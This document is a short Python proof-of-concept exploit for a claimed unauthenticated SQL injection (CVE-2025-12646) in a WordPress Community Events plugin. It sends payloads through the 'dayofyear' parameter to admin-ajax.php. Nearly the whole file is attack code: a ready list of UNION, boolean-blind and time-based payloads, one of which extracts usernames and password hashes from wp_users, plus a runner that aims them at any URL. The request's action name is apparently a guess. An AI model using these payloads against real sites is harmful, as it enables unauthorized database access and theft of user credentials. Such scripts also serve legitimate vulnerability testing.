import requests
import sys
# CVE-2025-12646 SQL Injection PoC
# Target: WordPress Community Events Plugin < 1.5.5
# Vulnerability: Unauthenticated SQL Injection via 'dayofyear' parameter
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection vulnerability in Community Events plugin
Args:
target_url: Base URL of the WordPress site
payload: SQL injection payload
Returns:
Response from the server
"""
params = {
'dayofyear': payload
}
try:
response = requests.get(
f"{target_url}/wp-admin/admin-ajax.php",
params={
'action': 'community_events', # Common action name
'dayofyear': payload
},
timeout=10
)
return response
except requests.RequestException as e:
print(f"Request failed: {e}")
return None
# Example payloads for different attack scenarios
PAYLOADS = {
# Basic boolean-based blind injection test
'boolean_test_true': '1 AND 1=1',
'boolean_test_false': '1 AND 1=2',
# Union-based injection to extract data
'union_extract_users': "1 UNION SELECT 1,2,3,user_login,user_pass,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM wp_users-- -",
# Extract database version information
'db_version': '1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -',
# Extract current database name
'db_name': '1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -',
# Time-based blind injection for data extraction
'time_blind': '1 AND SLEEP(5)-- -'
}
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url> [payload_type]")
print(f"Available payload types: {', '.join(PAYLOADS.keys())}")
sys.exit(1)
target = sys.argv[1]
payload_type = sys.argv[2] if len(sys.argv) > 2 else 'boolean_test_true'
if payload_type not in PAYLOADS:
print(f"Unknown payload type: {payload_type}")
sys.exit(1)
print(f"[*] Testing {target}")
print(f"[*] Using payload: {payload_type}")
payload = PAYLOADS[payload_type]
response = exploit_sqli(target, payload)
if response:
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)} bytes")
if response.status_code == 200:
print("[+] Potential vulnerability detected - investigate response")